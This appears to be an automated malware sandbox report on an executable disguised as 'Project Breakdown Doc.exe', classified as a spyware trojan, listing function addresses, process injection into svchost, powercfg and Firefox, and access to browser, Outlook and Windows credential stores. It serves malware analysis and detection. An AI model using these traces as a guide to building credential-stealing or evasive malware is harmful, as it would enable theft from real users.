Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4E3F0	1_2_03B4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFA352	1_2_03BFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC02C0	1_2_03BC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0274	1_2_03BE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF41A2	1_2_03BF41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C001AA	1_2_03C001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF81CC	1_2_03BF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDA118	1_2_03BDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B30100	1_2_03B30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC8158	1_2_03BC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD2000	1_2_03BD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3C7C0	1_2_03B3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40770	1_2_03B40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B64750	1_2_03B64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5C6E0	1_2_03B5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C00591	1_2_03C00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40535	1_2_03B40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BEE4F6	1_2_03BEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE4420	1_2_03BE4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF2446	1_2_03BF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF6BD7	1_2_03BF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFAB40	1_2_03BFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3EA80	1_2_03B3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C0A9A6	1_2_03C0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B56962	1_2_03B56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B268B8	1_2_03B268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E8F0	1_2_03B6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4A840	1_2_03B4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B42840	1_2_03B42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BBEFA0	1_2_03BBEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B32FC8	1_2_03B32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B60F30	1_2_03B60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE2F30	1_2_03BE2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B82F28	1_2_03B82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB4F40	1_2_03BB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B52E90	1_2_03B52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFCE93	1_2_03BFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFEEDB	1_2_03BFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFEE26	1_2_03BFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40E59	1_2_03B40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B58DBF	1_2_03B58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3ADE0	1_2_03B3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDCD1F	1_2_03BDCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4AD00	1_2_03B4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE0CB5	1_2_03BE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B30CF2	1_2_03B30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40C00	1_2_03B40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B8739A	1_2_03B8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF132D	1_2_03BF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2D34C	1_2_03B2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B452A0	1_2_03B452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5D2F0	1_2_03B5D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE12ED	1_2_03BE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5B2C0	1_2_03B5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4B1B0	1_2_03B4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C0B16B	1_2_03C0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2F172	1_2_03B2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B7516C	1_2_03B7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF70E9	1_2_03BF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFF0E0	1_2_03BFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BEF0CC	1_2_03BEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B470C0	1_2_03B470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFF7B0	1_2_03BFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF16CC	1_2_03BF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B85630	1_2_03B85630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C095C3	1_2_03C095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDD5B0	1_2_03BDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF7571	1_2_03BF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFF43F	1_2_03BFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B31460	1_2_03B31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5FB80	1_2_03B5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB5BF0	1_2_03BB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B7DBF9	1_2_03B7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFFB76	1_2_03BFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDDAAC	1_2_03BDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B85AA0	1_2_03B85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE1AA3	1_2_03BE1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BEDAC6	1_2_03BEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB3A6C	1_2_03BB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFFA49	1_2_03BFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF7A46	1_2_03BF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD5910	1_2_03BD5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B49950	1_2_03B49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5B950	1_2_03B5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B438E0	1_2_03B438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAD800	1_2_03BAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFFFB1	1_2_03BFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B41F92	1_2_03B41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B03FD2	1_2_03B03FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B03FD5	1_2_03B03FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFFF09	1_2_03BFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B49EB0	1_2_03B49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5FDC0	1_2_03B5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF7D73	1_2_03BF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF1D5A	1_2_03BF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B43D40	1_2_03B43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFFCF2	1_2_03BFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB9C32	1_2_03BB9C32

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03B75130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03BBF290 appears 103 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03BAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03B2B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03B87E54 appears 107 times
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: String function: 00C68B40 appears 42 times
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: String function: 00C47F41 appears 35 times
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: String function: 00C60D27 appears 70 times

Source: Project Breakdown Doc.exe, 00000000.00000003.1682781306.00000000041B3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Project Breakdown Doc.exe
Source: Project Breakdown Doc.exe, 00000000.00000003.1684004083.00000000043AD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Project Breakdown Doc.exe

Source: Project Breakdown Doc.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/3@4/4

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CAA2D5 GetLastError,FormatMessageW,

0_2_00CAA2D5

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C98713 AdjustTokenPrivileges,CloseHandle,		0_2_00C98713
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C98CC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00C98CC3

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CAB59E SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00CAB59E

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CBF121 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00CBF121

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CB86D0 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_00CB86D0

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C44FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00C44FE9

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

File created: C:\Users\user\AppData\Local\Temp\autC5D4.tmp

Source: Project Breakdown Doc.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: powercfg.exe, 00000006.00000003.2455621276.0000000002F82000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.2935230373.0000000002F82000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Project Breakdown Doc.exe

ReversingLabs: Detection: 52%

Source: unknown	Process created: C:\Users\user\Desktop\Project Breakdown Doc.exe "C:\Users\user\Desktop\Project Breakdown Doc.exe"
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Project Breakdown Doc.exe"
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	Process created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"
Source: C:\Windows\SysWOW64\powercfg.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Project Breakdown Doc.exe"	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	Process created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\powercfg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\powercfg.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: Project Breakdown Doc.exe

Static file information: File size 1368576 > 1048576

Source: Project Breakdown Doc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Project Breakdown Doc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Project Breakdown Doc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Project Breakdown Doc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Project Breakdown Doc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Project Breakdown Doc.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Project Breakdown Doc.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: powercfg.pdbGCTL source: svchost.exe, 00000001.00000003.2228239971.000000000341B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2228322978.000000000342D000.00000004.00000020.00020000.00000000.sdmp, VFfhzkOtKq.exe, 00000005.00000002.2936102809.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: VFfhzkOtKq.exe, 00000005.00000002.2934981003.000000000006E000.00000002.00000001.01000000.00000005.sdmp, VFfhzkOtKq.exe, 00000007.00000000.2336603194.000000000006E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Project Breakdown Doc.exe, 00000000.00000003.1684251389.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, Project Breakdown Doc.exe, 00000000.00000003.1683276387.0000000004230000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2157215051.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2159064996.0000000003900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2259594003.0000000003B00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2259594003.0000000003C9E000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.2937132231.000000000386E000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2262467626.0000000003528000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.2937132231.00000000036D0000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2259628969.0000000003372000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Project Breakdown Doc.exe, 00000000.00000003.1684251389.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, Project Breakdown Doc.exe, 00000000.00000003.1683276387.0000000004230000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.2157215051.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2159064996.0000000003900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2259594003.0000000003B00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2259594003.0000000003C9E000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.2937132231.000000000386E000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2262467626.0000000003528000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.2937132231.00000000036D0000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2259628969.0000000003372000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: powercfg.exe, 00000006.00000002.2935230373.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.2937780821.0000000003CFC000.00000004.10000000.00040000.00000000.sdmp, VFfhzkOtKq.exe, 00000007.00000002.2937216362.000000000286C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2570813989.000000002144C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: powercfg.exe, 00000006.00000002.2935230373.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.2937780821.0000000003CFC000.00000004.10000000.00040000.00000000.sdmp, VFfhzkOtKq.exe, 00000007.00000002.2937216362.000000000286C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2570813989.000000002144C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: powercfg.pdb source: svchost.exe, 00000001.00000003.2228239971.000000000341B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2228322978.000000000342D000.00000004.00000020.00020000.00000000.sdmp, VFfhzkOtKq.exe, 00000005.00000002.2936102809.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp

Source: Project Breakdown Doc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Project Breakdown Doc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Project Breakdown Doc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Project Breakdown Doc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Project Breakdown Doc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CBC304 LoadLibraryA,GetProcAddress,

0_2_00CBC304

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CA8719 push FFFFFF8Bh; iretd	0_2_00CA871B
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C6E94F push edi; ret	0_2_00C6E951
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C6EA68 push esi; ret	0_2_00C6EA6A
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C68B85 push ecx; ret	0_2_00C68B98
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C6EC43 push esi; ret	0_2_00C6EC45
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C6ED2C push edi; ret	0_2_00C6ED2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042D863 push edi; iretd	1_2_0042D86C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004051C0 pushad ; ret	1_2_004051CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00414A5F push edx; retf	1_2_00414A60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040D48E push cs; ret	1_2_0040D4BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00424CB3 push edi; ret	1_2_00424CD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004164BD push ecx; ret	1_2_004164DD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403570 push eax; ret	1_2_00403572
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00414D03 push ss; ret	1_2_00414D04
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418712 push ebp; iretd	1_2_0041871A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B0225F pushad ; ret	1_2_03B027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B027FA pushad ; ret	1_2_03B027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B309AD push ecx; mov dword ptr [esp], ecx	1_2_03B309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B0283D push eax; iretd	1_2_03B02858

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C44A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00C44A35
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CC55FD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00CC55FD

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

